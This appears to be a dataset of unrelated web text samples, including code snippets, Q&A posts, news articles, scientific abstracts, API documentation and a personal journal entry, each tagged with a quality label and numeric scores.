CreateExportColumn() { var export = new ExportContainer(); export.ToExportItem(this); return export; // return new ExportContainer(){ // Name = this.Name, // Size = this.Size, // Location = this.Location, // CanGrow = this.CanGrow, // BackColor = this.BackColor, // DesiredSize = this.Size // }; } } }	Mid	[ 0.554865424430641, 33.5, 26.875 ]
Q: Google Maps InfoBox or Info Window click eventlistener? Is there a way of adding a click eventlistener for an info window or an InfoBox (I'm using that plugin)? Really the problem I'm having is that the window/box is sometimes getting in the way of a click eventlistener that should be triggered when the user clicks anywhere on the map. A: from the documentation: http://google-maps-utility-library-v3.googlecode.com/svn/trunk/infobox/docs/examples.html Using InfoBox to Create a Map Label This example shows how to use an InfoBox as a map label. One important step is to set the pane property to "mapPane" so that the InfoBox appears below everything else on the map. It's also necessary to set closeBoxURL to "" so that the label will not have a close box, to set disableAutoPane to true so that the map does not pan when the label is added, and to set enableEventPropagation to true so that events will be passed on to the map for handling. from the example referenced above: var myOptions = { content: boxText ,disableAutoPan: false ,maxWidth: 0 ,pixelOffset: new google.maps.Size(-140, 0) ,zIndex: null ,boxStyle: { background: "url('tipbox.gif') no-repeat" ,opacity: 0.75 ,width: "280px" } ,closeBoxMargin: "10px 2px 2px 2px" ,closeBoxURL: "http://www.google.com/intl/en_us/mapfiles/close.gif" ,infoBoxClearance: new google.maps.Size(1, 1) ,isHidden: false ,pane: "floatPane" ,enableEventPropagation: false }; var ib = new InfoBox(myOptions); ib.open(theMap, marker);	Mid	[ 0.5644768856447681, 29, 22.375 ]
package cabf_br /* * ZLint Copyright 2020 Regents of the University of Michigan * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy * of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or * implied. See the License for the specific language governing * permissions and limitations under the License. / /If the Certificate asserts the policy identifier of 2.23.140.1.2.3, then it MUST also include (i) either organizationName or givenName and surname, (ii) localityName (to the extent such field is required under Section 7.1.4.2.2), (iii) stateOrProvinceName (to the extent required under Section 7.1.4.2.2), and (iv) countryName in the Subject field./ import ( "github.com/zmap/zcrypto/x509" "github.com/zmap/zlint/v2/lint" "github.com/zmap/zlint/v2/util" ) type CertPolicyRequiresPersonalName struct{} func (l CertPolicyRequiresPersonalName) Initialize() error { return nil } func (l CertPolicyRequiresPersonalName) CheckApplies(cert x509.Certificate) bool { return util.SliceContainsOID(cert.PolicyIdentifiers, util.BRIndividualValidatedOID) && !util.IsCACert(cert) } func (l CertPolicyRequiresPersonalName) Execute(cert x509.Certificate) *lint.LintResult { var out lint.LintResult if util.TypeInName(&cert.Subject, util.OrganizationNameOID) \|\| (util.TypeInName(&cert.Subject, util.GivenNameOID) && util.TypeInName(&cert.Subject, util.SurnameOID)) { out.Status = lint.Pass } else { out.Status = lint.Error } return &out } func init() { lint.RegisterLint(&lint.Lint{ Name: "e_cab_iv_requires_personal_name", Description: "If certificate policy 2.23.140.1.2.3 is included, either organizationName or givenName and surname MUST be included in subject", Citation: "BRs: 7.1.6.1", Source: lint.CABFBaselineRequirements, EffectiveDate: util.CABV131Date, Lint: &CertPolicyRequiresPersonalName{}, }) }	Mid	[ 0.551282051282051, 32.25, 26.25 ]
Natural Gas Drilling Technique Gets Congressional Attention Wyoming – Wyoming officials are fighting to keep Washington from regulating natural gas drilling. They say the state is perfectly capable of taking care of its own natural resources. Critics say drilling companies are polluting water supplies. Eric Niiler has more.	Low	[ 0.535849056603773, 35.5, 30.75 ]
DETROIT (Reuters) - General Motors Co on Wednesday warned leaders of Canada’s Unifor labor union that it will start to wind down production of its popular Chevrolet Equinox sport utility vehicle at an Ontario factory unless workers there call off a month-long strike. The General Motors CAMI car assembly plant, where the GMC Terrain and Chevrolet Equinox are built, is seen in Ingersoll, Ontario, Canada, January 27, 2017. REUTERS/Geoff Robins The strike has been fueled by union opposition to the North American Free Trade Agreement. Unifor leader Jerry Dias told Reuters on Wednesday that GM officials said they would ramp up production of the vehicle at two plants in Mexico that build the Equinox and a similar model, the GMC Terrain if the walkout is not called off. “GM just told us today that they are going to ramp up production in Mexico,” Unifor President Jerry Dias said by phone from Washington. “They have declared war on Canada.” GM has plants in the United States that are under-utilized, but retooling them to build the Equinox would be expensive. GM plans to study how quickly key suppliers to the Ontario Equinox plant could move their operations to accommodate a shift in the vehicle’s production, a person familiar with the discussions said on Wednesday. GM’s decision to build the Equinox and Terrain in Mexico is a major issue in the contract dispute between the automaker and the Canadian union. Dias said he would not call off the strike. “This is the big issue,” Dias said of the strike. “Once we solve this, everything else will fall into place.” About 2,500 workers at a factory in Ingersoll, Ontario, walked off the job on Sept. 18 after GM rejected Unifor’s call for the automaker to designate the factory, known as CAMI, as the lead production site for the Equinox in North America. The automaker invested $800 million to retool the plant for the new model. The union also objected to GM’s decision to lay off 600 CAMI workers as it phased out production of the last-generation GMC Terrain SUV, and launched production of new generation Terrain models along with the Equinox in Mexico. The CAMI plant was projected to build about 210,000 vehicles in 2018, while two plants in Mexico together were projected to build about 150,000 vehicles next year, according to AutoForecast Solutions, a forecasting firm. Unifor’s Dias has blamed NAFTA for the job losses, complicating Canadian Prime Minister Justin Trudeau’s effort to promote the benefits of open trade in response to U.S. President Donald Trump’s criticism of the deal. U.S., Canadian and Mexican negotiators began another round of talks this week to modernize the agreement. The Equinox was the second best-selling model in the United States Chevrolet lineup in September, and GM had just 41 days worth of the vehicle in stock at the end of last month, according to Automotive News. id by phone from Washington. “They have declared war on Canada.”	Mid	[ 0.5383104125736731, 34.25, 29.375 ]
Q: Ideas to replace Stored Procedure in Cash Flow report We have a Cash flow report which is basically in this structure: Date \|Credit\|Debit\|balance\| 09/29\| 20 \| 10 \| 10 \| 09/30\| 0 \| 10 \| 0 \| The main problem is the balance, and as we are using a DataSet for the Data, it's kinda hard to calculate the balance on the DataSet, because we always need the balance from the previous day. Also this data comes from several tables and it's been hard to maintain this procedure, because the database metadata is changing frequently. Anyone could give me some possible different solutions? for the problem? This report is being displayed on a DataGrid. A: This may be too big a change or off the mark for you, but a cash flow report indicates to me that you are probably maintaining, either formally or informally, a general ledger arrangement of some sort. If you are, then maybe I am naive about this but I think you should maintain your general ledger detail as a single table that has a bare minimum number of columns like ID, date, account, source and amount. All of the data that comes from different tables suggests that there several different kinds of events that are affecting your cash. To me, representing these different kinds of events in their own tables (like accounts receivable or accounts payable or inventory or whatever) makes sense, but the trick is to not have any monetary columns in those other tables. Instead, have them refer to the row in the general ledger detail where that data is recorded. If you enforce this, then the cash flow would always work the same regardless of changes to the other tables. The balance forward issue still has to be addressed and you have to take into account the number of transactions involved and the responsiveness required of the system but at least you could make a decision about how to handle it one time and not have to make changes as the other parts of your system evolve.	High	[ 0.6749379652605461, 34, 16.375 ]
Q: Installing Windows shell extension DLL with Inno Setup installer I'm developing a shell extension DLL. I want to install it using Inno Setup installer. I seen installers that ask, if I wanted to install shell extension with the program, I would like something similar using Inno Setup installer. How do I go about doing this? If not, would you be able to direct me to the right path. I been searching for days about any info about this. A: The shell extension is just a DLL with a COM class. So just deploy it and register it using the regserver flag: [Files] Source: "myext.dll"; DestDir: "{app}"; Flags: regserver See also Register Explorer COM extension only if specific task was selected.	Mid	[ 0.6425339366515831, 26.625, 14.8125 ]
<!DOCTYPE html> <html> <head> <title>APIドキュメント</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="viewport" content="width=device-width, initial-scale=1"> <link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/bundled/bootstrap.min.css'/> <link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/bundled/prettify.css'/> <link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/bundled/bootstrap-responsive.min.css'/> <link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/application.css'/> <!-- IE6-8 support of HTML5 elements --> <!--[if lt IE 9]> <script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script> <![endif]--> </head> <body> <div class="container-fluid"> <div class="row-fluid"> <div id='container'> <ul class='breadcrumb'> <li> <a href='../../../apidoc/v2.ja.html'>Foreman v2</a> <span class='divider'>/</span> </li> <li> <a href='../../../apidoc/v2/images.ja.html'> Images </a> <span class='divider'>/</span> </li> <li class='active'>create</li> <li class='pull-right'>  [ <a href="../../../apidoc/v2/images/create.pt_BR.html">pt_BR</a> \| <a href="../../../apidoc/v2/images/create.de.html">de</a> \| <a href="../../../apidoc/v2/images/create.it.html">it</a> \| <a href="../../../apidoc/v2/images/create.sv_SE.html">sv_SE</a> \| <a href="../../../apidoc/v2/images/create.zh_CN.html">zh_CN</a> \| <a href="../../../apidoc/v2/images/create.en_GB.html">en_GB</a> \| <a href="../../../apidoc/v2/images/create.cs_CZ.html">cs_CZ</a> \| <a href="../../../apidoc/v2/images/create.fr.html">fr</a> \| <a href="../../../apidoc/v2/images/create.ru.html">ru</a> \| <b><a href="../../../apidoc/v2/images/create.ja.html">ja</a></b> \| <a href="../../../apidoc/v2/images/create.es.html">es</a> \| <a href="../../../apidoc/v2/images/create.ko.html">ko</a> \| <a href="../../../apidoc/v2/images/create.ca.html">ca</a> \| <a href="../../../apidoc/v2/images/create.gl.html">gl</a> \| <a href="../../../apidoc/v2/images/create.en.html">en</a> \| <a href="../../../apidoc/v2/images/create.zh_TW.html">zh_TW</a> \| <a href="../../../apidoc/v2/images/create.nl_NL.html">nl_NL</a> \| <a href="../../../apidoc/v2/images/create.pl.html">pl</a> ] </li> </ul> <div class='page-header'> <h1> POST /api/compute_resources/:compute_resource_id/images <br> <small>イメージの作成</small> </h1> </div> <div> <h2>例</h2> <pre class="prettyprint">POST /api/compute_resources/980190962/images { "image": { "name": "TestImage", "username": "ec2-user", "uuid": "abcdef", "password": "password", "operatingsystem_id": 309172073, "compute_resource_id": 928692541, "architecture_id": 331892513, "user_data": true } } 201 { "operatingsystem_id": 309172073, "operatingsystem_name": "centos 5.3", "compute_resource_id": 980190962, "compute_resource_name": "bigcompute", "architecture_id": 331892513, "architecture_name": "sparc", "uuid": "abcdef", "username": "ec2-user", "created_at": "2019-02-20 13:38:01 UTC", "updated_at": "2019-02-20 13:38:01 UTC", "id": 980190963, "name": "TestImage" }</pre> <h2>パラメーター</h2> <table class='table'> <thead> <tr> <th>パラメーター名</th> <th>記述</th> </tr> </thead> <tbody> <tr style='background-color:rgb(255,255,255);'> <td> <strong>location_id </strong><br> <small> 任意 </small> </td> <td> <p>ロケーション別のスコープ</p> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be a Integer</p> </li> </ul> </td> </tr> <tr style='background-color:rgb(255,255,255);'> <td> <strong>organization_id </strong><br> <small> 任意 </small> </td> <td> <p>組織別のスコープ</p> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be a Integer</p> </li> </ul> </td> </tr> <tr style='background-color:rgb(255,255,255);'> <td> <strong>compute_resource_id </strong><br> <small> 必須 </small> </td> <td> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be an identifier, string from 1 to 128 characters containing only alphanumeric characters, space, underscore(_), hypen(-) with no leading or trailing space.</p> </li> </ul> </td> </tr> <tr style='background-color:rgb(255,255,255);'> <td> <strong>image </strong><br> <small> 必須 </small> </td> <td> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be a Hash</p> </li> </ul> </td> </tr> <tr style='background-color:rgb(250,250,250);'> <td> <strong>image[name] </strong><br> <small> 必須 </small> </td> <td> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be a String</p> </li> </ul> </td> </tr> <tr style='background-color:rgb(250,250,250);'> <td> <strong>image[username] </strong><br> <small> 必須 </small> </td> <td> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be a String</p> </li> </ul> </td> </tr> <tr style='background-color:rgb(250,250,250);'> <td> <strong>image[uuid] </strong><br> <small> 必須 </small> </td> <td> <p>Template ID in the compute resource</p> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be a String</p> </li> </ul> </td> </tr> <tr style='background-color:rgb(250,250,250);'> <td> <strong>image[password] </strong><br> <small> 任意 , nil可 </small> </td> <td> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be a String</p> </li> </ul> </td> </tr> <tr style='background-color:rgb(250,250,250);'> <td> <strong>image[compute_resource_id] </strong><br> <small> 任意 , nil可 </small> </td> <td> <p>コンピュートリソースの ID</p> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be a String</p> </li> </ul> </td> </tr> <tr style='background-color:rgb(250,250,250);'> <td> <strong>image[architecture_id] </strong><br> <small> 任意 , nil可 </small> </td> <td> <p>アーキテクチャーの ID</p> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be a String</p> </li> </ul> </td> </tr> <tr style='background-color:rgb(250,250,250);'> <td> <strong>image[operatingsystem_id] </strong><br> <small> 任意 , nil可 </small> </td> <td> <p>オペレーティングシステムの ID</p> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be a String</p> </li> </ul> </td> </tr> <tr style='background-color:rgb(250,250,250);'> <td> <strong>image[user_data] </strong><br> <small> 任意 , nil可 </small> </td> <td> <p>イメージがユーザーデータをサポートするかどうか</p> <p><strong>Validations:</strong></p> <ul> <li> <p>Must be one of: <code>true</code>, <code>false</code>, <code>1</code>, <code>0</code>.</p> </li> </ul> </td> </tr> </tbody> </table> </div> </div> </div> <hr> <footer></footer> </div> <script type='text/javascript' src='../../../apidoc/javascripts/bundled/jquery.js'></script> <script type='text/javascript' src='../../../apidoc/javascripts/bundled/bootstrap-collapse.js'></script> <script type='text/javascript' src='../../../apidoc/javascripts/bundled/prettify.js'></script> <script type='text/javascript' src='../../../apidoc/javascripts/apipie.js'></script> </body> </html>	Low	[ 0.5106837606837601, 29.875, 28.625 ]
Mario & Luigi Bowser’s Inside Story A single player action RPG (Role-playing Game), Mario & Luigi: Bowser's Inside Story takes players on the DS literally into the belly of the beast - that beast being Bowser. Set within an off-the-wall storyline that turns the world of Nintendo on its ear and featuring the ability to toggle between playing as the team of Mario and Luigi, and playing as Bowser himself, this third installment of the Mario & Luigi franchise is n (more...)	Mid	[ 0.64824120603015, 32.25, 17.5 ]
Q: How are dates typically handled with testing? I am writing an app at the moment that has some pretty extensive business logic based around dates. I have several hundred thousand records to test and testers who want to see how those records are handled, which has worked well so far, however, some edge cases are difficult to replicate. The reason is that most of the logic is related to today's date, in one way or another. What is the best way to handle this with both unit testing and for traditional testing? The only way I can really think of is allowing for today's date to be faked and fixed. A: Faking and fixing the date are the right way to do it. It can actually morph into a useful feature -- how many times have you wanted to be able to run a piece of logic using past data? A: You can use mocks (dependency injection) to return "today" date to be whatever you want it to be. This will allow you to test problem dates and make sure that new additions will not break the old code. There are plenty of mocking framework around and I am sure $language that you are using has at least a couple of good ones.	Mid	[ 0.595693779904306, 31.125, 21.125 ]
DNA sequence analysis of the Olir2-76 and Ossr1-92 alleles of the Oli-2 region of the yeast Saccharomyces cerevisiae. Analysis of related amino-acid substitutions and protein-antibiotic interaction. Petite deletion mapping helped to generate a fine-structure genetic map of the Oli-2 region of the mitochondrial genome of Saccharomyces cerevisiae. Here we report the DNA sequence analysis of the Oli-2 region from two drug-resistant alleles (Olir2-76 and Ossr1-92) which are located in the gene for subunit-6 of mitochondrial ATPase, in agreement with their genetic locations on the mitochondrial genome. An analysis of the corresponding amino-acid substitutions is also presented in the context of protein-antibiotic interactions.	High	[ 0.6762778505897771, 32.25, 15.4375 ]
--bail --reporter spec --timeout 20s	Low	[ 0.37719298245614, 16.125, 26.625 ]
Fat extravasation due to unreamed and experimentally reamed intramedullary nailing of the sheep femur. To compare systemic fat extravasation in unreamed and experimentally reamed nailing. An osteotomy was created in the proximal third of the femoral shaft in 16 sheep, and intramedullary pressure increase and fat extravasation were monitored for the two nailing techniques. The highest intramedullary pressures, median 2700 mm Hg, and highest percentages of fat extravasation, peaking at almost 90% of fat, were found for the unreamed nailing technique. The values for the reamed group were significantly lower. The extravasation of intramedullary fat can be attributed to the great increase in intramedullary pressure that occurs during unreamed nailing. Correctly performed intramedullary reaming with the new reaming system produces lower pressures and much less systemic fat extravasation, reducing the risk for fat embolism.	High	[ 0.6666666666666661, 32.5, 16.25 ]
Arachidonic acid distribution in lipids of mammary glands and DMBA-induced tumors of rats. In the phospholipid fractions, arachidonic acid represented a several fold higher percentage of fatty acids from DMBA-induced tumors and in mammary glands from midpregnant rats when compared to mammary glands from virgin rats. Arachidonic acid was not present in measurable quantities in the neutral lipid fractions of mammary glands from virgin rats. The arachidonic acid in the neutral lipid fraction of mammary glands from midpregnant rats was only detectable in the triglyceride-sterol ester fraction, but in that fraction less than 1% of the fatty acids were arachidonic acid. In the neutral lipids of the DMBA-induced tumors, it was of particular interest that a high proportion (19%) of the fatty acids in the diglyceride fraction consisted of arachidonic acid; no arachidonic acid was detected in the diglycerides of the normal tissues.	High	[ 0.6613333333333331, 31, 15.875 ]
// Copyright 2019 yuzu emulator team // Licensed under GPLv2 or any later version // Refer to the license.txt file included. #pragma once #include "core/loader/loader.h" namespace Core { class System; } namespace FileSys { class KIP; } namespace Loader { class AppLoader_KIP final : public AppLoader { public: explicit AppLoader_KIP(FileSys::VirtualFile file); ~AppLoader_KIP() override; /** * Returns the type of the file * @param file std::shared_ptr<VfsFile> open file * @return FileType found, or FileType::Error if this loader doesn't know it */ static FileType IdentifyType(const FileSys::VirtualFile& file); FileType GetFileType() const override; LoadResult Load(Kernel::Process& process, Core::System& system) override; private: std::unique_ptr<FileSys::KIP> kip; }; } // namespace Loader	Mid	[ 0.6218097447795821, 33.5, 20.375 ]
Bank of America worker hit in crosswalk by Peter Pan bus. PROVIDENCE, R.I. — A 30-year-old Cumberland woman on her way to work Wednesday morning was killed when a Peter Pan bus struck her in a crosswalk in Kennedy Plaza and dragged her 50 to 60 feet. Providence police identified the victim as Michelle Cagnon. Cagnon was a Bank of America employee for nine years, according to company spokesman Trevor Koenig. According to Cagnon's Facebook page and LinkedIn profile, she was a 2004 graduate of Burrillville High School and studied at the New England College of Business and Finance. “We are deeply saddened to hear about Michelle’s passing," Koenig said Wednesday. "Our thoughts and prayers are with her family and friends at this difficult time.” Cagnon was walking east on Washington Street, in front of the Alex and Ani City Center ice skating rink, when she stepped into the crosswalk to cross East Approach a little after 8 a.m., according to Public Safety Commissioner Steven M. Paré. "Lady was in the crosswalk," said witness Charles Parker, "looked up, screamed as she got run over." "The minute she got into the middle of the crosswalk, Peter Pan came around and just hit her," said another witness, Michael "Casey" Lee, of Dartmouth, Mass. "All you heard was the smack, and that was it." Paré said that a Peter Pan bus turning left from Washington Street to East Approach struck Cagnon. "It appears that this person was in the crosswalk," he said. Paré said that the accident was caught on several cameras in Kennedy Plaza. "We're looking at all the cameras to reconstruct what happened." "Chaosness" is how Brandon Hong, of Pawtucket, who arrived on a bus moments after the accident, described the scene in the immediate aftermath. Several witnesses, including Parker and Jason Gomes, of Providence, said that passersby had to flag down the bus driver to tell him that he had hit someone. A Providence park ranger working in the area witnessed the accident and alerted emergency personnel. Police Maj. Thomas A. Verdi said that no one chased the bus. Providence police identified the bus driver as Matthew J. Reidy of Taunton, Mass. Christopher Crean, vice president for safety and security for Peter Pan Bus Lines, said Reidy was en route from Hyannis, Mass., to Providence. Five passengers were on the bus. Crean said Reidy "would have stopped at Kennedy Plaza, which is a pick-up/drop off area for us, and then proceeded to the Providence terminal," off Route 95 at the Pawtucket line. "He would have had a layover at the Providence terminal, and then driven the 9:45 a.m. route back to Hyannis," Crean said. No charges have been brought against Reidy at this time, Crean said. Reidy underwent a legally required drug and alcohol test after the accident, "which so far was negative." Reidy has been put on temporary leave, "for his sake, and for the sake of the investigation," Crean said. He added that Peter Pan Bus Lines is "working very closely with state and local police" in the investigation. "This driver is a stellar driver. He has a really good record with the company, and has been here a little over a year," Crean said. "Before you go on board with Peter Pan, we do vet our drivers, and they have to do a six-to eight-week training program." Crean said, "This is a very tragic accident. Today was a tragic day for the family of victim and for the driver as well. We're just going to try and deal with it in the most professional and sympathetic way. Our sympathy goes to the family, as well as our driver." Reidy was not physically injured, "but he was very distraught, very upset about the whole incident," Crean said. "He had some professional counseling through the police department, and in-house here as well, and we do have follow-up." Crean said state police inspected the bus, and found "no problems with it." It was released. Crean said Peter Pan Bus Lines scored a 'satisfactory' — the highest possible score — in a federal inspection "three or four months ago." Providence Bus Accidents 2016 Aug. 24: Cumberland woman is killed when she is hit by a Peter Pan bus at Kennedy Plaza. Aug. 13: A man was injured after he slipped while chasing a Rhode Island Public Transit Authority bus that had just departed from the Manton Avenue Stop & Shop. Police said his leg was run over by a rear tire. May 9: Driver and eight passengers taken to hospital after RIPTA bus struck bus shelter near the East Side bus tunnel. Driver cited for road lane violation. March 2: RIPTA driver and four passengers taken to Rhode Island Hospital after bus ran onto Francis Street sidewalk and hit a light post near junction of Francis and Gaspee streets. Driver cited for roadway violation. 2015 March 26: Ani Emdjian, 9, killed when struck by RIPTA bus on Smith Hill. Driver cleared after investigation. Sept. 16: Pedestrian struck by RIPTA bus in Kennedy Plaza suffers non-life-threatening injuries. 2014 May 28: Court security guard Frank McKnight, 69, of North Kingstown was struck by a RIPTA bus in Washington Street crosswalk near Kennedy Plaza, and died the next day. Nov. 10: RIPTA bus struck a 56-year-old woman as she attempted to cross Angell Street at Wayland Avenue. —pparker@providencejournal.com (401) 277-7360 On Twitter: @projopaul —kziner@providencejournal.com (401) 277-7375 On Twitter: @karenleez	Mid	[ 0.5677570093457941, 30.375, 23.125 ]
Prékopa–Leindler inequality In mathematics, the Prékopa–Leindler inequality is an integral inequality closely related to the reverse Young's inequality, the Brunn–Minkowski inequality and a number of other important and classical inequalities in analysis. The result is named after the Hungarian mathematicians András Prékopa and László Leindler. Statement of the inequality Let 0 < λ < 1 and let f, g, h : Rn → [0, +∞) be non-negative real-valued measurable functions defined on n-dimensional Euclidean space Rn. Suppose that these functions satisfy for all x and y in Rn. Then Essential form of the inequality Recall that the essential supremum of a measurable function f : Rn → R is defined by This notation allows the following essential form of the Prékopa–Leindler inequality: let 0 < λ < 1 and let f, g ∈ L1(Rn; [0, +∞)) be non-negative absolutely integrable functions. Let Then s is measurable and The essential supremum form was given in. Its use can change the left side of the inequality. For example, a function g that takes the value 1 at exactly one point will not usually yield a zero left side in the "non-essential sup" form but it will always yield a zero left side in the "essential sup" form. Relationship to the Brunn–Minkowski inequality It can be shown that the usual Prékopa–Leindler inequality implies the Brunn–Minkowski inequality in the following form: if 0 < λ < 1 and A and B are bounded, measurable subsets of Rn such that the Minkowski sum (1 − λ)A + λB is also measurable, then where μ denotes n-dimensional Lebesgue measure. Hence, the Prékopa–Leindler inequality can also be used to prove the Brunn–Minkowski inequality in its more familiar form: if 0 < λ < 1 and A and B are non-empty, bounded, measurable subsets of Rn such that (1 − λ)A + λB is also measurable, then Applications in probability and statistics The Prékopa–Leindler inequality is useful in the theory of log-concave distributions, as it can be used to show that log-concavity is preserved by marginalization and independent summation of log-concave distributed random variables. Suppose that H(x,y) is a log-concave distribution for (x,y) ∈ Rm × Rn, so that by definition we have and let M(y) denote the marginal distribution obtained by integrating over x: Let y1, y2 ∈ Rn and 0 < λ < 1 be given. Then equation () satisfies condition () with h(x) = H(x,(1 − λ)y1 + λy2), f(x) = H(x,y1) and g(x) = H(x,y2), so the Prékopa–Leindler inequality applies. It can be written in terms of M as which is the definition of log-concavity for M. To see how this implies the preservation of log-convexity by independent sums, suppose that X and Y are independent random variables with log-concave distribution. Since the product of two log-concave functions is log-concave, the joint distribution of (X,Y) is also log-concave. Log-concavity is preserved by affine changes of coordinates, so the distribution of (X + Y, X − Y) is log-concave as well. Since the distribution of X+Y is a marginal over the joint distribution of (X + Y, X − Y), we conclude that X + Y has a log-concave distribution. Notes References Category:Geometric inequalities Category:Integral geometry Category:Real analysis Category:Theorems in analysis	High	[ 0.677279305354558, 29.25, 13.9375 ]
ras-independent induction of rat brain type II sodium channel expression in nerve growth factor-treated PC12 cells. Nerve growth factor (NGF) plays an important role in the development of the nervous system, and there is considerable interest in understanding the molecular mechanisms underlying its effects on neuronal differentiation. To determine if the activity of proteins of the ras gene family is necessary for the NGF-mediated induction of sodium channel expression in pheochromocytoma (PC12) cells, sodium channel expression was analyzed in PC12 sublines stably overexpressing the dominant inhibitory mutant c-Ha-ras(Asn-17). Northern blot analysis, RNase protection assays, and whole-cell patch clamp recordings indicate that the NGF-mediated increase in type II sodium channel mRNA and sodium current density can occur independent of ras activity and by doing so provide strong evidence for the importance of ras-independent mechanisms in NGF-mediated neuronal differentiation.	Mid	[ 0.627737226277372, 32.25, 19.125 ]
Service discovery and load balancing with DCOS and marathon-lb - manojbadam https://mesosphere.com/blog/2015/12/13/service-discovery-and-load-balancing-with-dcos-and-marathon-lb-part-2/ ====== manojbadam Is this compatible with mesos 0.25 (not DCOS) and marathon 0.14. I'm trying to run in my environment, but it is failing. ~~~ SEJeff If setup properly, marathon-lb works great with Marathon 0.14. I use it with Mesos 0.26 and it works fine, but I'm testing the blue green deployment feature of it	Low	[ 0.5264550264550261, 24.875, 22.375 ]
I’m not feeling well today, so I’m not good for much, but I can manage to journal, and am grateful for the chance to do it. Even if I have to be nauseated in order to get the downtime. I have to say, my introversion epiphany of a couple months ago was possibly the very best thing that’s happened to me in a long time, even though, as I keep exploring this, it’s bringing up some things for me that are kind of a bummer. For instance, I’ve been feeling like this is yet another place where I really got a bum deal by not being able to live full-time with my father before I did, the introvert of my two parents. I’m scrolling back in my life to even the weekend visits we spent together, and realizing what a great model they were for managing introversion well and not feeling like I had to conform to extroversion. Of the couple days we’d spend together, there was always just as much, if not more, quiet time as time spent out and about. Even the out-and-aboutness usually involved just the two of us or small groups. I’ve been thinking about the days where sometimes almost for the whole of a day, we’d hang out at his favorite deli, both of us with a book, where we’d read for a while then talk for a while, where people could stop, visit and chat us up and then move on, and if I wasn’t feeling open or chatty, I was never told to put my book down so as not to be rude. At my other home, there really wasn’t room for being introverted. About the only time I really got any kind of acceptance, or was even just left alone for a little bit without conflict was either around achievement or performance, and ideally, both. If I did some kind of dancing monkey routine, then I was marginally acceptable. But most often, my introversion was framed as rudeness, or trying to hide from people, or hide things from people; a need for privacy to refuel was often presented as a need for secrecy. Sometimes my need to be alone was framed as my not liking or loving people. Or, my desire to be slow in conflict or step away from it before reacting instead of quick and reactive was framed as not taking conflict seriously (when really, it was quite the opposite, and is still: it’s taking the time I need to react thoughtfully and well instead of getting caught up in a tidal wave of upset). Of course, in the worst of the worst of conflict, I tend to do what my Dad does when people won’t give him space, which is to just vanish altogether, which then winds up being seen as abandonment when all we are really going for is some space to ourselves so we don’t implode or explode or just get utterly lost in someone else’s drama. Suffice it to say, the wound around being way too separated from my Dad during a lot of my life is always one that stays a little bit raw, so more salt on it basically blows. It’s clear he would have done a bit better if we’d been full-time earlier, and in so, so many ways, I would have, too. This may be the least of them, really, but still. I’m sure this is something other folks who survived a lot of serious trauma can relate to, but it also always feels so strange and surprising to me to identify smaller — per my perspective, anyway – things in your life and upbringing that have messed you up or just steered you the wrong way. I feel like it’s so much harder to see them, hell, even to remember them, through the thick fog of much bigger trauma. That’s not helped, of course, by the cultural narrative we have around certain kinds of trauma that paints those of us who are survivors as, of course, so, so super-messed up by X-thing, with everything that isn’t right for us or okay as automatically attached to that trauma. But the big trauma itself obscures the smaller issues that sometimes maybe aren’t so small after all. In some weird way, it kind of makes me feel more connected to people who have NOT gone through some of the horrible shit I have, and who I’ve often had awkward conversations with when they feel bad about things like this having been traumatic for them, versus things like my living through rape or other abuses. I never felt like anyone needed to compare that way, or that there was any need to feel bad (and heck, I’m nothing more than happy when I know people haven’t been through the mill so badly in their lives). But I have always felt a little disconnected, like we weren’t quite living in the same worlds, and these kinds of realizations make me feel a connectivity I really appreciate. I think this kind of connected feeling around the smaller stuff may be what people are actually seeking when they’ve been through The Big Awful and say they “just want to be normal.” I’m recognizing a lot of seemingly-smaller things around all of this. I don’t want to do that thing people do where they latch on to this One Big Thing to Explain Everything, but you know, this does explain a lot. Also? It’s really kind of col to be learning brand new, shiny things about myself. As someone who has done a lot of reflection, got counseling way earlier in my life than most, I confess that I’m often a bit hungry for new growth. For instance, the more reading I do, the more I become aware of why friends with ADD have expressed that maybe I’m ADD: there are a bunch of introvert things that are a lot like ADD things. I’m starting to understand more and more why I sometimes feel so daft when I’m overstimulated, and how at times when the pressure is on to be so smart so fast it often IS in the context of overstimulation, and that just can’t work for me. That’s awesome for extroverts: a recipe for disaster for me, especially if I’m not doing that I can to dial everything down so I can step up. Longtime readers may recall that a bunch of years back, I felt utterly crippled by a sudden. inexplicable anxiety about public speaking. I’d never really liked doing it, especially with big groups, but I always could do it, but from outta left field, I suddenly really, really couldn’t. I’d get sick to my stomach, have panic attacks, the works. I could never figure out why it got so bad so suddenly. Then I took a look at that timeline, and noticed that happened at a time when I was so, so very exposed on the whole, had so many people and so much work I was juggling, I was so visible, and it was all utterly nonstop. It didn’t even occur to me at the time — nor later, when it calmed down some, also fairly inexplicably — that it might have been about much too much happening all the time, with me having to be on almost 24/7, and was just to do with that business of straws, camels and their backs. In retrospect, now, it seems really obvious. Also? I had this idea that because so much of my work life anymore doesn’t have me with people in-person, that a breakneck pace, so long as it wasn’t face-to-face could work just fine. Now I’m starting to see how marathoning direct service still isn’t so great, even when I don’t have people right in my face. In fact, I think what can happen is that I miss the cues I’d otherwise pick up in in-person interactions to know when I’ve hit a limit and need to recharge, so with online work, I need to create breaks and downtime in built-in ways, rather than only realizing I went over my limits once I am utterly wiped out. Anyone who knows me very well and has stayed talking with me for hours and hours and days and days has probably heard me go on at some point about my (apparent) very strange non-reaction to dopamine geekouts. Now, I can’t tell exactly how well studied the neurochem around introversion I’ve been reading about it, but it seems that being introverted, all 